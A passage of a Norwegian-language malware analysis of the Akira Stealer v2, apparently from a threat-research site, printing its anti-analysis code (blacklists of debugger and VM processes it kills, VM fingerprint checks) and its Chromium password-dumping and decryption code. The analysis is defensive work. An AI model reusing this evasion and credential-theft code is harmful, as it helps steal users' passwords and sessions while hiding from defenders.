sjekkene på maskinvarenivå er særlig effektive mot analyseoppsett som ikke maskerer virtualiserte skjermkort fullt ut.",[889,5566,5568],{"id":5567},"_7311-task-killing-undertrykking-av-analyseverktøy-i-sanntid","7.3.11 Task-killing - undertrykking av analyseverktøy i sanntid",[526,5570,895],{},[526,5572,5573],{},"I stedet for bare å unngå deteksjon passivt går Akira ett skritt videre og avslutter kjente analyse- og feilsøkingsverktøy aktivt. Den starter en bakgrunnstråd som itererer over en liste med prosesser og dreper hvert treff den finner.",[616,5575,5577],{"className":4516,"code":5576,"language":4518,"meta":530,"style":530},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[579,5578,5579,5583,5588,5593,5597,5602,5607,5612,5617],{"__ignoreMap":530},[1710,5580,5581],{"class":1712,"line":1713},[1710,5582,5007],{},[1710,5584,5585],{"class":1712,"line":531},[1710,5586,5587],{},"def killTasks() -> None:\n",[1710,5589,5590],{"class":1712,"line":2094},[1710,5591,5592],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1710,5594,5595],{"class":1712,"line":2100},[1710,5596,3877],{"emptyLinePlaceholder":325},[1710,5598,5599],{"class":1712,"line":2420},[1710,5600,5601],{},"BLACKLISTED_TASKS = (\n",[1710,5603,5604],{"class":1712,"line":2426},[1710,5605,5606],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1710,5608,5609],{"class":1712,"line":3084},[1710,5610,5611],{},"  # ... dozens more ...\n",[1710,5613,5614],{"class":1712,"line":3880},[1710,5615,5616],{},"  'glasswire','requestly'\n",[1710,5618,5619],{"class":1712,"line":3886},[1710,5620,5274],{},[526,5622,5623],{},"Disse verktøyene, som ofte brukes av incident responders og malware-analytikere, nøytraliseres før de får samlet inn meningsfulle atferdsartefakter.",[526,5625,5626],{},[568,5627,5628],{},"Summary",[526,5630,5631],{},"Akira bruker et gjennomarbeidet sett med anti-analyseteknikker som retter seg mot flere systemlag, fra miljøvariabler og registernøkler til nettverkssonderinger og tasklister. Mekanismene er laget for å oppdage og unngå både automatiserte sandboxer og manuelle inspeksjonsoppsett.",[526,5633,5634],{},"Kombinasjonen av passiv fingeravtrykking og aktiv undertrykking, som task killing, viser hvordan selv malware-familier i mellomsjiktet nå har unnvikelseslogikk i flere lag.",[889,5636,5638],{"id":5637},"_7312-komplette-blacklists-og-deteksjonsfunksjoner","7.3.12 Komplette blacklists og deteksjonsfunksjoner",[526,5640,895],{},[526,5642,5643],{},[568,5644,5645],{},"Blacklisted Hardware UUIDs",[616,5647,5650],{"className":5648,"code":5649,"language":621},[619],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[579,5651,5649],{"__ignoreMap":530},[526,5653,5654],{},[568,5655,5656],{},"Blacklisted Computer Names",[616,5658,5661],{"className":5659,"code":5660,"language":621},[619],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[579,5662,5660],{"__ignoreMap":530},[526,5664,5665],{},[568,5666,5667],{},"Blacklisted User Accounts",[616,5669,5672],{"className":5670,"code":5671,"language":621},[619],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[579,5673,5671],{"__ignoreMap":530},[526,5675,5676],{},[568,5677,5678],{},"Blacklisted Analysis‐Tool Processes",[616,5680,5683],{"className":5681,"code":5682,"language":621},[619],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[579,5684,5682],{"__ignoreMap":530},[526,5686,5687],{},[568,5688,5689],{},"Core Detection Methods",[616,5691,5693],{"className":4516,"code":5692,"language":4518,"meta":530,"style":530},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[579,5694,5695,5699,5703,5708,5712,5716,5721,5726,5731,5735,5739,5743,5747,5751,5755,5760,5765,5769,5773,5777,5782,5787,5791,5795,5799,5804,5809,5814,5819,5825,5830,5835,5840,5845,5850,5855,5861,5867,5873,5878,5883,5888,5893,5899,5904,5909,5914,5919,5924,5929,5935,5941,5947,5953,5958,5963,5969,5975,5981,5987,5992,5997,6003,6008,6013,6019,6025,6031,6036,6042,6048,6053,6059,6065,6070,6075,6080,6086],{"__ignoreMap":530},[1710,5696,5697],{"class":1712,"line":1713},[1710,5698,5007],{},[1710,5700,5701],{"class":1712,"line":531},[1710,5702,5165],{},[1710,5704,5705],{"class":1712,"line":2094},[1710,5706,5707],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1710,5709,5710],{"class":1712,"line":2100},[1710,5711,5170],{},[1710,5713,5714],{"class":1712,"line":2420},[1710,5715,5175],{},[1710,5717,5718],{"class":1712,"line":2426},[1710,5719,5720],{},"            \"wmic csproduct get uuid\",\n",[1710,5722,5723],{"class":1712,"line":3084},[1710,5724,5725],{},"            shell=True, capture_output=True\n",[1710,5727,5728],{"class":1712,"line":3880},[1710,5729,5730],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1710,5732,5733],{"class":1712,"line":3886},[1710,5734,5195],{},[1710,5736,5737],{"class":1712,"line":4131},[1710,5738,5200],{},[1710,5740,5741],{"class":1712,"line":5055},[1710,5742,5205],{},[1710,5744,5745],{"class":1712,"line":5061},[1710,5746,3877],{"emptyLinePlaceholder":325},[1710,5748,5749],{"class":1712,"line":5067},[1710,5750,5007],{},[1710,5752,5753],{"class":1712,"line":5073},[1710,5754,5235],{},[1710,5756,5757],{"class":1712,"line":5079},[1710,5758,5759],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1710,5761,5762],{"class":1712,"line":5085},[1710,5763,5764],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1710,5766,5767],{"class":1712,"line":5091},[1710,5768,3877],{"emptyLinePlaceholder":325},[1710,5770,5771],{"class":1712,"line":5097},[1710,5772,5007],{},[1710,5774,5775],{"class":1712,"line":5103},[1710,5776,5300],{},[1710,5778,5779],{"class":1712,"line":5109},[1710,5780,5781],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1710,5783,5784],{"class":1712,"line":5115},[1710,5785,5786],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1710,5788,5789],{"class":1712,"line":5121},[1710,5790,3877],{"emptyLinePlaceholder":325},[1710,5792,5793],{"class":1712,"line":5127},[1710,5794,5007],{},[1710,5796,5797],{"class":1712,"line":5133},[1710,5798,5368],{},[1710,5800,5801],{"class":1712,"line":5139},[1710,5802,5803],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1710,5805,5807],{"class":1712,"line":5806},26,[1710,5808,5373],{},[1710,5810,5812],{"class":1712,"line":5811},27,[1710,5813,5170],{},[1710,5815,5817],{"class":1712,"line":5816},28,[1710,5818,5382],{},[1710,5820,5822],{"class":1712,"line":5821},29,[1710,5823,5824],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1710,5826,5828],{"class":1712,"line":5827},30,[1710,5829,5397],{},[1710,5831,5833],{"class":1712,"line":5832},31,[1710,5834,5195],{},[1710,5836,5838],{"class":1712,"line":5837},32,[1710,5839,5406],{},[1710,5841,5843],{"class":1712,"line":5842},33,[1710,5844,3877],{"emptyLinePlaceholder":325},[1710,5846,5848],{"class":1712,"line":5847},34,[1710,5849,5007],{},[1710,5851,5853],{"class":1712,"line":5852},35,[1710,5854,5436],{},[1710,5856,5858],{"class":1712,"line":5857},36,[1710,5859,5860],{},"    \"\"\"\n",[1710,5862,5864],{"class":1712,"line":5863},37,[1710,5865,5866],{},"    Attempt TLS to random subdomain.\n",[1710,5868,5870],{"class":1712,"line":5869},38,[1710,5871,5872],{},"    Failure → possible HTTPS interception/sandbox.\n",[1710,5874,5876],{"class":1712,"line":5875},39,[1710,5877,5860],{},[1710,5879,5881],{"class":1712,"line":5880},40,[1710,5882,5441],{},[1710,5884,5886],{"class":1712,"line":5885},41,[1710,5887,5170],{},[1710,5889,5891],{"class":1712,"line":5890},42,[1710,5892,5450],{},[1710,5894,5896],{"class":1712,"line":5895},43,[1710,5897,5898],{},"        return True\n",[1710,5900,5902],{"class":1712,"line":5901},44,[1710,5903,5195],{},[1710,5905,5907],{"class":1712,"line":5906},45,[1710,5908,5406],{},[1710,5910,5912],{"class":1712,"line":5911},46,[1710,5913,3877],{"emptyLinePlaceholder":325},[1710,5915,5917],{"class":1712,"line":5916},47,[1710,5918,5007],{},[1710,5920,5922],{"class":1712,"line":5921},48,[1710,5923,5493],{},[1710,5925,5927],{"class":1712,"line":5926},49,[1710,5928,5860],{},[1710,5930,5932],{"class":1712,"line":5931},50,[1710,5933,5934],{},"    Look for VirtualBox/VMware in:\n",[1710,5936,5938],{"class":1712,"line":5937},51,[1710,5939,5940],{},"    - Registry driver entries\n",[1710,5942,5944],{"class":1712,"line":5943},52,[1710,5945,5946],{},"    - Video card name via WMIC\n",[1710,5948,5950],{"class":1712,"line":5949},53,[1710,5951,5952],{},"    - Presence of VM-specific folders\n",[1710,5954,5956],{"class":1712,"line":5955},54,[1710,5957,5860],{},[1710,5959,5961],{"class":1712,"line":5960},55,[1710,5962,5498],{},[1710,5964,5966],{"class":1712,"line":5965},56,[1710,5967,5968],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1710,5970,5972],{"class":1712,"line":5971},57,[1710,5973,5974],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1710,5976,5978],{"class":1712,"line":5977},58,[1710,5979,5980],{},"        shell=True, capture_output=True\n",[1710,5982,5984],{"class":1712,"line":5983},59,[1710,5985,5986],{},"    )\n",[1710,5988,5990],{"class":1712,"line":5989},60,[1710,5991,5513],{},[1710,5993,5995],{"class":1712,"line":5994},61,[1710,5996,5968],{},[1710,5998,6000],{"class":1712,"line":5999},62,[1710,6001,6002],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1710,6004,6006],{"class":1712,"line":6005},63,[1710,6007,5980],{},[1710,6009,6011],{"class":1712,"line":6010},64,[1710,6012,5986],{},[1710,6014,6016],{"class":1712,"line":6015},65,[1710,6017,6018],{},"    gpu = any(\n",[1710,6020,6022],{"class":1712,"line":6021},66,[1710,6023,6024],{},"        x.lower() in subprocess.run(\n",[1710,6026,6028],{"class":1712,"line":6027},67,[1710,6029,6030],{},"            \"wmic path win32_VideoController get name\",\n",[1710,6032,6034],{"class":1712,"line":6033},68,[1710,6035,5725],{},[1710,6037,6039],{"class":1712,"line":6038},69,[1710,6040,6041],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1710,6043,6045],{"class":1712,"line":6044},70,[1710,6046,6047],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1710,6049,6051],{"class":1712,"line":6050},71,[1710,6052,5986],{},[1710,6054,6056],{"class":1712,"line":6055},72,[1710,6057,6058],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1710,6060,6062],{"class":1712,"line":6061},73,[1710,6063,6064],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1710,6066,6068],{"class":1712,"line":6067},74,[1710,6069,3877],{"emptyLinePlaceholder":325},[1710,6071,6073],{"class":1712,"line":6072},75,[1710,6074,5007],{},[1710,6076,6078],{"class":1712,"line":6077},76,[1710,6079,5587],{},[1710,6081,6083],{"class":1712,"line":6082},77,[1710,6084,6085],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1710,6087,6089],{"class":1712,"line":6088},78,[1710,6090,5592],{},[889,6092,6094],{"id":6093},"_7313-kjørings-og-avbruddslogikk","7.3.13 Kjørings- og avbruddslogikk",[526,6096,895],{},[2108,6098,6099,6113,6126],{},[634,6100,6101,6104,6105,6108,6109,6112],{},[568,6102,6103],{},"Initialisering:"," Inne i konstruktøren ",[579,6106,6107],{},"Akira.__init__()"," kaller malwaren umiddelbart ",[579,6110,6111],{},"VmProtect.isVM(1)"," for å gjøre raske virtualiseringssjekker med lav overhead (hostname, bruker, HTTPS-simulering).",[634,6114,6115,6118,6119,6122,6123,6125],{},[568,6116,6117],{},"Dybdeinspeksjon:"," Passerer den første testen, kalles ",[579,6120,6121],{},"VmProtect.isVM(2)",", som utløser mer omfattende sjekker, blant annet validering av hardware-UUID, hosting-deteksjon via ",[579,6124,5353],{}," og skanning av registerartefakter.",[634,6127,6128,6131,6132,6134,6135,6137],{},[568,6129,6130],{},"Avbruddsvei:"," Returnerer en av sjekkene ",[579,6133,4696],{},", altså at det er et virtuelt miljø eller analysemiljø, kjører koden ",[579,6136,4700],{}," og avslutter før noen rutiner for datainnsamling eller eksfiltrering settes i gang.",[889,6139,6141],{"id":6140},"_7314-konklusjon","7.3.14 Konklusjon",[526,6143,895],{},[526,6145,6146,6147,2059,6149,6151],{},"Modulen ",[579,6148,4642],{},[4655,6150,678],{}," viser et lagdelt forsvar mot analyse som utnytter både lokale systemfingeravtrykk og nettverksbaserte heuristikker. Ved å forstå og instrumentere disse presise sjekkene kan forsvarere snu spillet og oppdage slik unnvikende malware i operative miljøer.",[741,6153,6155],{"id":6154},"_74-eksfiltrering-av-nettleserdata","7.4 Eksfiltrering av nettleserdata",[526,6157,747],{},[526,6159,6160,6161,586,6164,6167],{},"Et av kjernemålene til Akira Stealer v2 er storskala uthenting av sensitive data lagret i nettleseren. Malwaren har skreddersydde moduler rettet mot både ",[568,6162,6163],{},"Chromium-baserte",[568,6165,6166],{},"Gecko-baserte (Firefox)"," nettlesere. Funksjonene omfatter uthenting og dekryptering av lagrede passord, cookies, kredittkortdata, autofyll-oppføringer og til og med sesjonstokens som kan gjenbrukes til å kapre kontoer i sin helhet.",[526,6169,6170],{},[568,6171,6172],{},"1. Oppsett av arbeidsområde",[616,6174,6176],{"className":4516,"code":6175,"language":4518,"meta":530,"style":530},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[579,6177,6178,6183,6188,6193],{"__ignoreMap":530},[1710,6179,6180],{"class":1712,"line":1713},[1710,6181,6182],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1710,6184,6185],{"class":1712,"line":531},[1710,6186,6187],{},"os.makedirs(client_dir, exist_ok=True)\n",[1710,6189,6190],{"class":1712,"line":2094},[1710,6191,6192],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1710,6194,6195],{"class":1712,"line":2100},[1710,6196,6197],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[631,6199,6200,6207,6210,6213,6216],{},[634,6201,6202,6203],{},"Oppretter et engangsområde for staging under systemets temp-katalog, oppkalt etter offerets maskin (%TEMP%\\DESKTOP-",[6204,6205,6206],"hostname",{},"), slik at alle eksfiltrerte artefakter samles på ett sted som er enkelt å arkivere.",[634,6208,6209],{},"Isolerer data etter type: seks egne undermapper (Passwords, Cookies, CreditCards, History, Autofill, Wallets) hindrer navnekollisjoner og forenkler zippingen senere, siden hver uthentingsrutine bare skriver til sin egen mappe.",[634,6211,6212],{},"Idempotent mappeoppretting bruker exist_ok=True, så hvis malwaren kjører på nytt, for eksempel ved omstart eller via persistens, krasjer den ikke og overskriver ikke eksisterende data. Nye elementer legges bare til i samme struktur.",[634,6214,6215],{},"Muliggjør selektiv opprydding: når opplasting og varsling er ferdig, kan stealeren kalle Utils.clear_client_folder() for å slette bare sitt eget arbeidsområde rekursivt, uten å etterlate rester.",[634,6217,6218],{},"Legger grunnlaget for parallelle uthentingstråder: ved å opprette alle mål på forhånd kan bakgrunnstråder som samler inn nettleser-credentials, cookies, autofyll, kryptolommebokdata og mer, skrive resultater umiddelbart uten flere sjekker. Det holder overheaden nede og krymper vinduet der defensive hooks kan oppdage uventet fil-I/O.",[526,6220,6221],{},[568,6222,6223],{},"2. Nettlesere som støttes",[631,6225,6226,6268],{},[634,6227,6228,6230],{},[568,6229,6163],{},[631,6231,6232,6235,6238,6241,6244,6247,6250,6253,6256,6259,6262,6265],{},[634,6233,6234],{},"Google Chrome (Stable & SxS)",[634,6236,6237],{},"Microsoft Edge",[634,6239,6240],{},"Brave Browser",[634,6242,6243],{},"Opera & Opera GX",[634,6245,6246],{},"Chromium",[634,6248,6249],{},"Comodo Dragon",[634,6251,6252],{},"Epic Privacy Browser",[634,6254,6255],{},"Iridium Browser",[634,6257,6258],{},"UR Browser",[634,6260,6261],{},"Vivaldi Browser",[634,6263,6264],{},"Yandex Browser",[634,6266,6267],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[634,6269,6270,6273,6274,1140,6277,6288,6290,6291,6300,6302,6303,647,6306,6309],{},[568,6271,6272],{},"Firefox-baserte"," (via ",[579,6275,6276],{},"GeckoDriver",[631,6278,6279,6282,6285],{},[634,6280,6281],{},"Mozilla Firefox",[634,6283,6284],{},"Waterfox",[634,6286,6287],{},"Pale Moon",[725,6289],{},"Akira finner brukerprofiler dynamisk ved hjelp av miljøvariabler og velkjente katalogstrukturer:",[616,6292,6294],{"className":4516,"code":6293,"language":4518,"meta":530,"style":530},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[579,6295,6296],{"__ignoreMap":530},[1710,6297,6298],{"class":1712,"line":1713},[1710,6299,6293],{},[725,6301],{},"Den sjekker rekursivt etter tilgjengelige nettleserprofiler (for eksempel ",[579,6304,6305],{},"Default",[579,6307,6308],{},"Profile 1",") og retter seg mot SQLite-databaser innenfor disse stiene.",[889,6311,6313],{"id":6312},"_741-datatyper-som-hentes-ut","7.4.1 Datatyper som hentes ut",[526,6315,895],{},[1418,6317,4710,6318],{},[1434,6319,6320,4710,6333,4710,6346,4710,6358,4710,6370,4710,6382,4710,6393],{},[1424,6321,4715,6322,4715,6326,4715,6330,4710],{},[1427,6323,6325],{"style":6324},"text-align: left; width: 22%;","Datatype",[1427,6327,6329],{"style":6328},"text-align: left; width: 28%;","Kildefil",[1427,6331,6332],{},"Merknader",[1424,6334,4715,6335,4715,6338,4715,6343,4710],{},[1439,6336,6337],{},"Lagrede passord",[1439,6339,6340,6342],{},[579,6341,585],{}," (Chromium)",[1439,6344,6345],{},"Dekrypteres via DPAPI eller AES-GCM (etter Chromium v80)",[1424,6347,4715,6348,4715,6351,4715,6355,4710],{},[1439,6349,6350],{},"Cookies",[1439,6352,6353],{},[579,6354,6350],{},[1439,6356,6357],{},"Kan inneholde sesjonstokens, særlig for Google- og Facebook-kontoer",[1424,6359,4715,6360,4715,6363,4715,6367,4710],{},[1439,6361,6362],{},"Autofyll-data",[1439,6364,6365],{},[579,6366,589],{},[1439,6368,6369],{},"Adresser, e-postadresser, telefonnumre og liknende",[1424,6371,4715,6372,4715,6375,4715,6379,4710],{},[1439,6373,6374],{},"Kredittkort",[1439,6376,6377],{},[579,6378,589],{},[1439,6380,6381],{},"Kryptert, krever hovednøkkel",[1424,6383,4715,6384,4715,6387,4715,6390,4710],{},[1439,6385,6386],{},"Sesjonstokens",[1439,6388,6389],{},"I minnet og cookies",[1439,6391,6392],{},"Omfatter Gmail, Google-kontoer og replay av Discord OAUTH",[1424,6394,4715,6395,4715,6398,4715,6406,4710],{},[1439,6396,6397],{},"Historikk og URL-er",[1439,6399,6400,647,6403],{},[579,6401,6402],{},"History",[579,6404,6405],{},"Visited Links",[1439,6407,6408],{},"Ble også eksfiltrert til angriperen",[854,6410],{"className":6411},[857,858],[526,6413,6414,6417],{},[568,6415,6416],{},"3. Uthentingsmoduler","\nNår malware-utviklere sikter seg inn på nettlesere, er de viktigste skattkistene de ulike SQLite-databasene der Chrome, Firefox og slektningene deres lagrer credentials, cookies, historikk og autofyll-oppføringer. astor.py syr sammen lettvekts Python og native API-er for metodisk å plukke ut hver bit av dataene, og til og med spille av levende OAuth-sesjoner, uten å etterlate spor. Under følger en grundig gjennomgang modul for modul, ordrett fra koden.",[889,6419,6421,6422,1140],{"id":6420},"_742-passorddumper-chromiumgetpasswords","7.4.2 Passorddumper (",[579,6423,6424],{},"Chromium.GetPasswords",[526,6426,895],{},[526,6428,6429],{},"Denne modulen går systematisk gjennom alle Chromium-baserte nettleserprofiler for å hente ut lagrede påloggingsopplysninger. Ved å rette seg mot SQLite-databasen Login Data henter den brukernavn og krypterte passord, og bruker deretter plattformens krypteringsnøkkel (hentet via DPAPI eller AES-GCM) til å dekryptere dem til klartekst. Disse credentials er svært verdifulle for videre bevegelse etter kompromitteringen eller for kontoovertakelse.",[616,6431,6433],{"className":4516,"code":6432,"language":4518,"meta":530,"style":530},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[579,6434,6435,6440,6445,6450,6455,6460,6465,6470,6475,6480],{"__ignoreMap":530},[1710,6436,6437],{"class":1712,"line":1713},[1710,6438,6439],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1710,6441,6442],{"class":1712,"line":531},[1710,6443,6444],{},"    for file in files:\n",[1710,6446,6447],{"class":1712,"line":2094},[1710,6448,6449],{},"        if file.lower() == \"login data\":\n",[1710,6451,6452],{"class":1712,"line":2100},[1710,6453,6454],{},"            # Copy DB → open → extract rows\n",[1710,6456,6457],{"class":1712,"line":2420},[1710,6458,6459],{},"            results = cursor.execute(\n",[1710,6461,6462],{"class":1712,"line":2426},[1710,6463,6464],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1710,6466,6467],{"class":1712,"line":3084},[1710,6468,6469],{},"            ).fetchall()\n",[1710,6471,6472],{"class":1712,"line":3880},[1710,6473,6474],{},"            for url, user, pwd_blob in results:\n",[1710,6476,6477],{"class":1712,"line":3886},[1710,6478,6479],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1710,6481,6482],{"class":1712,"line":4131},[1710,6483,6484],{},"                passwords.append((url, user, clear_pwd))\n",[631,6486,6487,6500,6506,6514,6531],{},[634,6488,6489,6492,6493,6495,6496,6499],{},[568,6490,6491],{},"Finner"," hver ",[579,6494,585],{},"-SQLite-database under nettleserens ",[579,6497,6498],{},"User Data","-mappe.",[634,6501,6502,6505],{},[568,6503,6504],{},"Kopierer"," til en midlertidig fil for å unngå nettleserlåser.",[634,6507,6508,1000,6511,614],{},[568,6509,6510],{},"SQL-spørring",[579,6512,6513],{},"SELECT origin_url, username_value, password_value FROM logins",[634,6515,6516,6492,6519,6522,6523,6526,6527,6530],{},[568,6517,6518],{},"Dekrypterer",[579,6520,6521],{},"password_value","-blob via AES-GCM (",[579,6524,6525],{},"v10","/",[579,6528,6529],{},"v11",") eller Windows DPAPI som 